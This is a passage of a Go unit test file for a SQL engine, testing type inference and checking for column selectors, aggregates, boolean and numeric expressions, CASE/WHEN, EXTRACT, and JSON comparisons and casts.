TestRequiresTypeColSelectorsValueExp(t *testing.T) { cols := make(map[string]ColDescriptor) cols["(mytable.id)"] = ColDescriptor{Type: IntegerType} cols["(mytable.ts)"] = ColDescriptor{Type: TimestampType} cols["(mytable.title)"] = ColDescriptor{Type: VarcharType} cols["(mytable.active)"] = ColDescriptor{Type: BooleanType} cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) testCases := []struct { exp ValueExp cols map[string]ColDescriptor params map[string]SQLValueType implicitTable string requiredType SQLValueType expectedError error }{ { exp: &ColSelector{table: "mytable", col: "id"}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, }, { exp: &ColSelector{table: "mytable", col: "id1"}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrColumnDoesNotExist, }, { exp: &ColSelector{table: "mytable", col: "id"}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, { exp: &ColSelector{table: "mytable", col: "ts"}, cols: cols, params: params, implicitTable: "mytable", requiredType: TimestampType, expectedError: nil, }, { exp: &ColSelector{table: "mytable", col: "ts"}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, { exp: &AggColSelector{aggFn: "COUNT", table: "mytable", col: "*"}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, }, { exp: &AggColSelector{aggFn: "COUNT", table: "mytable", col: "*"}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidTypes, }, { exp: &AggColSelector{aggFn: "MIN", table: "mytable", col: "title"}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { exp: &AggColSelector{aggFn: "MIN", table: "mytable", col: "title1"}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrColumnDoesNotExist, }, { exp: &AggColSelector{aggFn: "SUM", table: "mytable", col: "id"}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, }, { exp: &AggColSelector{aggFn: "SUM", table: "mytable", col: "title"}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &AggColSelector{aggFn: "SUM", table: "mytable", col: "ft"}, cols: cols, params: params, implicitTable: "mytable", requiredType: Float64Type, expectedError: nil, }, { exp: &AggColSelector{aggFn: "SUM", table: "mytable", col: "ft"}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, } for i, tc := range testCases { err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable) require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) require.Equal(t, tc.requiredType, it) } } } func TestRequiresTypeNumExpValueExp(t *testing.T) { cols := make(map[string]ColDescriptor) cols["(mytable.id)"] = ColDescriptor{Type: IntegerType} cols["(mytable.title)"] = ColDescriptor{Type: VarcharType} cols["(mytable.active)"] = ColDescriptor{Type: BooleanType} cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) testCases := []struct { exp ValueExp cols map[string]ColDescriptor params map[string]SQLValueType implicitTable string requiredType SQLValueType expectedError error }{ { exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Integer{val: 0}}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, }, { exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Integer{val: 0}}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, { exp: &NumExp{op: ADDOP, left: &Bool{val: true}, right: &Integer{val: 0}}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Bool{val: true}}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Bool{val: true}}, cols: cols, params: params, implicitTable: "mytable", requiredType: Float64Type, expectedError: ErrInvalidTypes, }, { exp: &UUID{val: uuid.New()}, cols: cols, params: params, implicitTable: "mytable", requiredType: UUIDType, expectedError: nil, }, { exp: &UUID{val: uuid.New()}, cols: cols, params: params, implicitTable: "mytable", requiredType: Float64Type, expectedError: ErrInvalidTypes, }, } for i, tc := range testCases { err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable) require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) require.Equal(t, tc.requiredType, it) } } } func TestRequiresTypeSimpleValueExp(t *testing.T) { cols := make(map[string]ColDescriptor) cols["(mytable.id)"] = ColDescriptor{Type: IntegerType} cols["(mytable.title)"] = ColDescriptor{Type: VarcharType} cols["(mytable.active)"] = ColDescriptor{Type: BooleanType} cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} cols["(mytable.data)"] = ColDescriptor{Type: JSONType} params := make(map[string]SQLValueType) testCases := []struct { exp ValueExp cols map[string]ColDescriptor params map[string]SQLValueType implicitTable string requiredType SQLValueType expectedInferredType SQLValueType expectedError error }{ { exp: &NullValue{t: AnyType}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { exp: &NullValue{t: VarcharType}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { exp: &NullValue{t: BooleanType}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidTypes, }, { exp: &Integer{}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, }, { exp: &Integer{}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidTypes, }, { exp: &Integer{}, cols: cols, params: params, implicitTable: "mytable", requiredType: JSONType, expectedInferredType: IntegerType, expectedError: nil, }, { exp: &Varchar{}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { exp: &Varchar{}, cols: cols, params: params, implicitTable: "mytable", requiredType: JSONType, expectedInferredType: VarcharType, expectedError: nil, }, { exp: &Varchar{}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, { exp: &Bool{}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: nil, }, { exp: &Bool{}, cols: cols, params: params, implicitTable: "mytable", requiredType: JSONType, expectedInferredType: BooleanType, expectedError: nil, }, { exp: &Bool{}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &Blob{}, cols: cols, params: params, implicitTable: "mytable", requiredType: BLOBType, expectedError: nil, }, { exp: &Blob{}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &JSON{}, cols: cols, params: params, requiredType: JSONType, implicitTable: "mytable", expectedError: nil, }, { exp: &JSON{val: "some-string"}, cols: cols, params: params, requiredType: VarcharType, expectedInferredType: JSONType, implicitTable: "mytable", expectedError: nil, }, { exp: &JSON{val: int64(10)}, cols: cols, params: params, requiredType: Float64Type, expectedInferredType: JSONType, implicitTable: "mytable", expectedError: nil, }, { exp: &JSON{val: float64(10.5)}, cols: cols, params: params, requiredType: IntegerType, expectedInferredType: JSONType, implicitTable: "mytable", expectedError: ErrInvalidTypes, }, { exp: &JSON{val: true}, cols: cols, params: params, requiredType: BooleanType, expectedInferredType: JSONType, implicitTable: "mytable", expectedError: nil, }, { exp: &JSON{val: nil}, cols: cols, params: params, requiredType: AnyType, expectedInferredType: JSONType, implicitTable: "mytable", expectedError: nil, }, { exp: &JSON{val: int64(10)}, cols: cols, params: params, requiredType: IntegerType, expectedInferredType: JSONType, implicitTable: "mytable", expectedError: nil, }, { exp: &NotBoolExp{exp: &Bool{val: true}}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: nil, }, { exp: &NotBoolExp{exp: &Bool{val: true}}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &NotBoolExp{exp: &Varchar{val: "abc"}}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, { exp: &LikeBoolExp{val: &ColSelector{col: "col1"}, pattern: &Varchar{val: ""}}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: nil, }, { exp: &LikeBoolExp{val: &ColSelector{col: "col1"}, pattern: &Varchar{val: ""}}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidTypes, }, { exp: &LikeBoolExp{}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidCondition, }, { exp: &LikeBoolExp{val: &ColSelector{col: "ft"}, pattern: &Varchar{val: ""}}, cols: cols, params: params, implicitTable: "mytable", requiredType: Float64Type, expectedError: ErrInvalidTypes, }, } for i, tc := range testCases { err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable) require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { expectedInferredType := tc.expectedInferredType if expectedInferredType == "" { expectedInferredType = tc.requiredType } it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) require.Equal(t, expectedInferredType, it) } } } func TestRequiresTypeSysFnValueExp(t *testing.T) { cols := make(map[string]ColDescriptor) cols["(mytable.id)"] = ColDescriptor{Type: IntegerType} cols["(mytable.title)"] = ColDescriptor{Type: VarcharType} cols["(mytable.active)"] = ColDescriptor{Type: BooleanType} cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) testCases := []struct { exp ValueExp cols map[string]ColDescriptor params map[string]SQLValueType implicitTable string requiredType SQLValueType expectedError error }{ { exp: &FnCall{fn: NowFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: TimestampType, expectedError: nil, }, { exp: &FnCall{fn: NowFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, { exp: &FnCall{fn: LengthFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, }, { exp: &FnCall{fn: LengthFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidTypes, }, { exp: &FnCall{fn: SubstringFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { exp: &FnCall{fn: SubstringFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &FnCall{fn: ConcatFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { exp: &FnCall{fn: ConcatFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &FnCall{fn: TrimFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { exp: &FnCall{fn: TrimFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &FnCall{fn: UpperFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { exp: &FnCall{fn: LowerFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { exp: &FnCall{fn: LowerFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: Float64Type, expectedError: ErrInvalidTypes, }, { exp: &FnCall{fn: JSONTypeOfFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { exp: &FnCall{fn: JSONTypeOfFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &FnCall{fn: UUIDFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: UUIDType, expectedError: nil, }, { exp: &FnCall{fn: UUIDFnCall}, cols: cols, params: params, implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidTypes, }, } for i, tc := range testCases { err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable) require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) require.Equal(t, tc.requiredType, it) } } } func TestRequiresTypeBinValueExp(t *testing.T) { cols := make(map[string]ColDescriptor) cols["(mytable.id)"] = ColDescriptor{Type: IntegerType} cols["(mytable.title)"] = ColDescriptor{Type: VarcharType} cols["(mytable.active)"] = ColDescriptor{Type: BooleanType} cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) testCases := []struct { exp ValueExp cols map[string]ColDescriptor params map[string]SQLValueType implicitTable string requiredType SQLValueType expectedError error }{ { exp: &BinBoolExp{op: And, left: &Bool{val: true}, right: &Bool{val: false}}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: nil, }, { exp: &BinBoolExp{op: And, left: &Bool{val: true}, right: &Bool{val: false}}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &BinBoolExp{op: And, left: &Integer{val: 1}, right: &Bool{val: false}}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &BinBoolExp{op: And, left: &Bool{val: false}, right: &Integer{val: 1}}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Integer{val: 1}}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: nil, }, { exp: &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Integer{val: 1}}, cols: cols, params: params, implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, }, { exp: &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Bool{val: false}}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, { exp: &CmpBoolExp{op: LE, left: &Bool{val: false}, right: &Integer{val: 1}}, cols: cols, params: params, implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, } for i, tc := range testCases { err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable) require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) require.Equal(t, tc.requiredType, it) } } } func TestYetUnsupportedExistsBoolExp(t *testing.T) { exp := &ExistsBoolExp{} _, err := exp.inferType(nil, nil, "") require.Error(t, err) err = exp.requiresType(BooleanType, nil, nil, "") require.Error(t, err) rexp, err := exp.substitute(nil) require.NoError(t, err) require.Equal(t, exp, rexp) _, err = exp.reduce(nil, nil, "") require.Error(t, err) require.Equal(t, exp, exp.reduceSelectors(nil, "")) require.False(t, exp.isConstant()) require.Nil(t, exp.selectorRanges(nil, "", nil, nil)) } func TestYetUnsupportedInSubQueryExp(t *testing.T) { exp := &InSubQueryExp{} _, err := exp.inferType(nil, nil, "") require.ErrorIs(t, err, ErrNoSupported) err = exp.requiresType(BooleanType, nil, nil, "") require.ErrorIs(t, err, ErrNoSupported) rexp, err := exp.substitute(nil) require.NoError(t, err) require.Equal(t, exp, rexp) _, err = exp.reduce(nil, nil, "") require.ErrorIs(t, err, ErrNoSupported) require.Equal(t, exp, exp.reduceSelectors(nil, "")) require.False(t, exp.isConstant()) require.Nil(t, exp.selectorRanges(nil, "", nil, nil)) } func TestCaseWhenExp(t *testing.T) { t.Run("simple case", func(t *testing.T) { e, err := ParseExpFromString( "CASE job_title WHEN 1 THEN true ELSE false END", ) require.NoError(t, err) err = e.requiresType(BooleanType, map[string]ColDescriptor{ EncodeSelector("", "", "job_title"): {Type: VarcharType}, }, nil, "") require.ErrorIs(t, err, ErrInvalidTypes) require.ErrorContains(t, err, "argument of CASE/WHEN must be of type VARCHAR, not type INTEGER") e, err = ParseExpFromString( "CASE concat(@prefix, job_title) WHEN 'job_engineer' THEN true ELSE false END", ) require.NoError(t, err) e, err = e.substitute(map[string]interface{}{"prefix": "job_"}) require.NoError(t, err) v, err := e.reduce(nil, &Row{ ValuesBySelector: map[string]TypedValue{ EncodeSelector("", "", "job_title"): &Varchar{"engineer"}, }, }, "") require.NoError(t, err) require.Equal(t, v, &Bool{true}) }) t.Run("searched case", func(t *testing.T) { e, err := ParseExpFromString( "CASE WHEN salary > 100000 THEN @p0 ELSE @p1 END", ) require.NoError(t, err) e, err = e.substitute(map[string]interface{}{"p0": int64(0), "p1": int64(1)}) require.NoError(t, err) err = e.requiresType(IntegerType, map[string]ColDescriptor{ EncodeSelector("", "", "salary"): {Type: IntegerType}, }, nil, "") require.NoError(t, err) require.False(t, e.isConstant()) require.Nil(t, e.selectorRanges(nil, "", nil, nil)) row := &Row{ValuesBySelector: map[string]TypedValue{EncodeSelector("", "", "salary"): &Integer{50000}}} require.Equal(t, &CaseWhenExp{ whenThen: []whenThenClause{ { when: NewCmpBoolExp(GT, &Integer{50000}, &Integer{100000}), then: &Integer{0}, }, }, elseExp: &Integer{1}, }, e.reduceSelectors(row, "")) v, err := e.reduce(nil, row, "") require.NoError(t, err) require.Equal(t, int64(1), v.RawValue()) }) } func TestInferTypeCaseWhenExp(t *testing.T) { t.Run("simple case", func(t *testing.T) { e, err := ParseExpFromString( "CASE department WHEN 'engineering' THEN 0 ELSE 1 END", ) require.NoError(t, err) _, err = e.inferType( map[string]ColDescriptor{ EncodeSelector("", "", "department"): {Type: IntegerType}, }, nil, "", ) require.ErrorIs(t, err, ErrInvalidTypes) require.ErrorContains(t, err, "argument of CASE/WHEN must be of type INTEGER, not type VARCHAR") it, err := e.inferType( map[string]ColDescriptor{ EncodeSelector("", "", "department"): {Type: VarcharType}, }, nil, "", ) require.NoError(t, err) require.Equal(t, IntegerType, it) }) t.Run("searched case", func(t *testing.T) { e, err := ParseExpFromString( "CASE WHEN salary THEN 10 ELSE '0' END", ) require.NoError(t, err) _, err = e.inferType( map[string]ColDescriptor{ EncodeSelector("", "", "salary"): {Type: IntegerType}, }, nil, "", ) require.ErrorIs(t, err, ErrInvalidTypes) e, err = ParseExpFromString( "CASE WHEN salary > 0 THEN 10 ELSE '0' END", ) require.NoError(t, err) _, err = e.inferType( map[string]ColDescriptor{ EncodeSelector("", "", "salary"): {Type: IntegerType}, }, nil, "", ) require.ErrorIs(t, err, ErrInferredMultipleTypes) e, err = ParseExpFromString( "CASE WHEN salary > 0 THEN 10 ELSE 0 END", ) require.NoError(t, err) it, err := e.inferType( map[string]ColDescriptor{ EncodeSelector("", "", "salary"): {Type: IntegerType}, }, nil, "", ) require.NoError(t, err) require.Equal(t, IntegerType, it) it, err = e.inferType( map[string]ColDescriptor{ EncodeSelector("", "", "salary"): {Type: Float64Type}, }, nil, "", ) require.NoError(t, err) require.Equal(t, IntegerType, it) }) } func TestExtractFromTimestampType(t *testing.T) { t.Run("infer type", func(t *testing.T) { for _, arg := range []string{"NOW()", "'2020-01-01'", "NULL"} { e, err := ParseExpFromString( fmt.Sprintf("EXTRACT(YEAR FROM %s)", arg), ) require.NoError(t, err) inferredType, err := e.inferType( nil, nil, "", ) require.NoError(t, err) require.Equal(t, IntegerType, inferredType) } }) t.Run("requires type", func(t *testing.T) { e, err := ParseExpFromString( "EXTRACT(YEAR FROM NOW())", ) require.NoError(t, err) err = e.requiresType(Float64Type, nil, nil, "") require.NoError(t, err) err = e.requiresType(IntegerType, nil, nil, "") require.NoError(t, err) e, err = ParseExpFromString( "EXTRACT(YEAR FROM '2020-01-01')", ) require.NoError(t, err) err = e.requiresType(Float64Type, nil, nil, "") require.Error(t, err) err = e.requiresType(IntegerType, nil, nil, "") require.Error(t, err) }) } func TestLikeBoolExpEdgeCases(t *testing.T) { exp := &LikeBoolExp{} _, err := exp.inferType(nil, nil, "") require.ErrorIs(t, err, ErrInvalidCondition) err = exp.requiresType(BooleanType, nil, nil, "") require.ErrorIs(t, err, ErrInvalidCondition) _, err = exp.substitute(nil) require.ErrorIs(t, err, ErrInvalidCondition) _, err = exp.reduce(nil, nil, "") require.ErrorIs(t, err, ErrInvalidCondition) require.Equal(t, exp, exp.reduceSelectors(nil, "")) require.False(t, exp.isConstant()) require.Nil(t, exp.selectorRanges(nil, "", nil, nil)) t.Run("like expression with invalid types", func(t *testing.T) { exp := &LikeBoolExp{val: &ColSelector{col: "col1"}, pattern: &Integer{}} _, err = exp.inferType(nil, nil, "") require.ErrorIs(t, err, ErrInvalidTypes) err = exp.requiresType(BooleanType, nil, nil, "") require.ErrorIs(t, err, ErrInvalidTypes) v := &Integer{} row := &Row{ ValuesByPosition: []TypedValue{v}, ValuesBySelector: map[string]TypedValue{"(table1.col1)": v}, } _, err = exp.reduce(nil, row, "table1") require.ErrorIs(t, err, ErrInvalidTypes) }) } func TestAliasing(t *testing.T) { stmt := &SelectStmt{ds: &tableRef{table: "table1"}} require.Equal(t, "table1", stmt.Alias()) stmt.as = "t1" require.Equal(t, "t1", stmt.Alias()) } func TestEdgeCases(t *testing.T) { stmt := &CreateIndexStmt{} _, err := stmt.execAt(context.Background(), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) stmt.cols = make([]string, MaxNumberOfColumnsInIndex+1) _, err = stmt.execAt(context.Background(), nil, nil) require.ErrorIs(t, err, ErrMaxNumberOfColumnsInIndexExceeded) } func TestInferParameterEdgeCases(t *testing.T) { err := (&CreateUserStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) err = (&AlterUserStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) err = (&AlterPrivilegesStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) err = (&DropUserStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) err = (&RenameTableStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) err = (&DropTableStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) err = (&DropColumnStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) err = (&DropIndexStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) err = (&FnDataSourceStmt{}).inferParameters(context.Background(), nil, nil) require.Nil(t, err) } func TestIsConstant(t *testing.T) { require.True(t, (&NullValue{}).isConstant()) require.True(t, (&Integer{}).isConstant()) require.True(t, (&Varchar{}).isConstant()) require.True(t, (&Bool{}).isConstant()) require.True(t, (&Blob{}).isConstant()) require.True(t, (&UUID{}).isConstant()) require.True(t, (&Timestamp{}).isConstant()) require.True(t, (&Param{}).isConstant()) require.False(t, (&ColSelector{}).isConstant()) require.False(t, (&AggColSelector{}).isConstant()) require.True(t, (&NumExp{ op: And, left: &Integer{val: 1}, right: &Integer{val: 2}, }).isConstant()) require.True(t, (&NotBoolExp{exp: &Bool{}}).isConstant()) require.False(t, (&LikeBoolExp{}).isConstant()) require.True(t, (&CmpBoolExp{ op: LE, left: &Integer{val: 1}, right: &Integer{val: 2}, }).isConstant()) require.True(t, (&BinBoolExp{ op: ADDOP, left: &Integer{val: 1}, right: &Integer{val: 2}, }).isConstant()) require.False(t, (&CmpBoolExp{ op: LE, left: &Integer{val: 1}, right: &ColSelector{}, }).isConstant()) require.False(t, (&FnCall{}).isConstant()) require.False(t, (&ExistsBoolExp{}).isConstant()) require.False(t, (&ExtractFromTimestampExp{}).isConstant()) } func TestTimestamapType(t *testing.T) { ts := &Timestamp{val: time.Date(2021, 12, 6, 11, 53, 0, 0, time.UTC)} t.Run("comparison functions", func(t *testing.T) { cmp, err := ts.Compare(&Timestamp{val: time.Date(2021, 12, 6, 11, 53, 0, 0, time.UTC)}) require.NoError(t, err) require.Equal(t, 0, cmp) cmp, err = ts.Compare(&Timestamp{val: time.Date(2021, 12, 6, 11, 52, 0, 0, time.UTC)}) require.NoError(t, err) require.Greater(t, cmp, 0) cmp, err = ts.Compare(&Timestamp{val: time.Date(2021, 12, 6, 11, 54, 0, 0, time.UTC)}) require.NoError(t, err) require.Less(t, cmp, 0) cmp, err = ts.Compare(&NullValue{t: TimestampType}) require.NoError(t, err) require.Equal(t, 1, cmp) cmp, err = ts.Compare(&NullValue{t: AnyType}) require.NoError(t, err) require.Equal(t, 1, cmp) cmp, err = (&NullValue{t: TimestampType}).Compare(ts) require.NoError(t, err) require.Equal(t, -1, cmp) cmp, err = (&NullValue{t: AnyType}).Compare(ts) require.NoError(t, err) require.Equal(t, -1, cmp) }) it, err := ts.inferType(map[string]ColDescriptor{}, map[string]string{}, "") require.NoError(t, err) require.Equal(t, TimestampType, it) err = ts.requiresType(TimestampType, map[string]ColDescriptor{}, map[string]string{}, "") require.NoError(t, err) err = ts.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, "") require.ErrorIs(t, err, ErrInvalidTypes) v, err := ts.substitute(map[string]interface{}{}) require.NoError(t, err) require.Equal(t, ts, v) v = ts.reduceSelectors(&Row{}, "") require.Equal(t, ts, v) err = ts.selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) require.NoError(t, err) } func TestJSONType(t *testing.T) { js := &JSON{val: float64(10)} require.True(t, js.isConstant()) require.False(t, js.IsNull()) it, err := js.inferType(map[string]ColDescriptor{}, map[string]string{}, "") require.NoError(t, err) require.Equal(t, JSONType, it) v, err := js.substitute(map[string]interface{}{}) require.NoError(t, err) require.Equal(t, js, v) v, err = js.reduce(nil, nil, "") require.NoError(t, err) require.Equal(t, js, v) v = js.reduceSelectors(&Row{}, "") require.Equal(t, js, v) err = js.selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) require.NoError(t, err) t.Run("test comparison functions", func(t *testing.T) { type test struct { a TypedValue b TypedValue res int expectedError error } tests := []test{ { a: NewJson(10.5), b: NewJson(10.5), }, { a: NewJson(map[string]interface{}{}), b: NewJson(map[string]interface{}{}), expectedError: ErrNotComparableValues, }, { a: NewJson(10.5), b: NewFloat64(9.5), res: 1, }, { a: NewJson(true), b: NewBool(true), res: 0, }, { a: NewJson("test"), b: NewVarchar("test"), res: 0, }, { a: NewJson(int64(2)), b: NewInteger(8), res: -1, }, { a: NewJson(nil), b: NewNull(JSONType), res: 0, }, { a: NewJson(nil), b: NewNull(AnyType), res: 0, }, } for _, tc := range tests { t.Run(fmt.Sprintf("compare %s to %s", tc.a.Type(), tc.b.Type()), func(t *testing.T) { res, err := tc.a.Compare(tc.b) if tc.expectedError != nil { require.ErrorIs(t, err, ErrNotComparableValues) } else { require.NoError(t, err) require.Equal(t, tc.res, res) } res1, err := tc.b.Compare(tc.a) if tc.expectedError != nil { require.ErrorIs(t, err, ErrNotComparableValues) } else { require.NoError(t, err) require.Equal(t, res, -res1) } }) } }) t.Run("test casts", func(t *testing.T) { type test struct { src TypedValue dst TypedValue } cases := []test{ { src: &NullValue{t: JSONType}, dst: &JSON{val: nil}, }, { src: &NullValue{t: AnyType}, dst: &JSON{val: nil}, }, { src: &JSON{val: nil}, dst: &NullValue{t: AnyType}, }, { src: &JSON{val: 10.5}, dst: &Float64{val: 10.5}, }, { src: &Float64{val: 10.5}, dst: &JSON{val: 10.5}, }, { src: &JSON{val: 10.5}, dst: &Integer{val: 10}, }, { src: &Integer{val: 10}, dst: &JSON{val: int64(10)}, }, { src: &JSON{val: true}, dst: &Bool{val: true}, }, { src: &Bool{val: true}, dst: &JSON{val: true}, }, { src: &JSON{val: "test"}, dst: &Varchar{val: `"test"`}, }, { src: &Varchar{val: `{"name": "John Doe"}`}, dst: &JSON{val: map[string]interface{}{"name": "John Doe"}}, }, } for _, tc := range cases { t.Run(fmt.Sprintf("cast %s to %s", tc.src.Type(), tc.dst.Type()), func(t *testing.T) { conv, err := getConverter(tc.src.Type(), tc.dst.Type()) require.NoError(t, err) converted, err := conv(tc.src) require.NoError(t, err) require.Equal(t, converted, tc.dst) }) } }) } func TestUnionSelectErrors(t *testing.T) { t.Run("fail on creating union reader", func(t *testing.T) { reader1 := &dummyRowReader{ recordClose: true, } reader2 := &dummyRowReader{ recordClose: true, failReturningColumns: true, } stmt := &UnionStmt{ left: &dummyDataSource{ ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return reader1, nil }, }, right: &dummyDataSource{ ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return reader2, nil }, }, 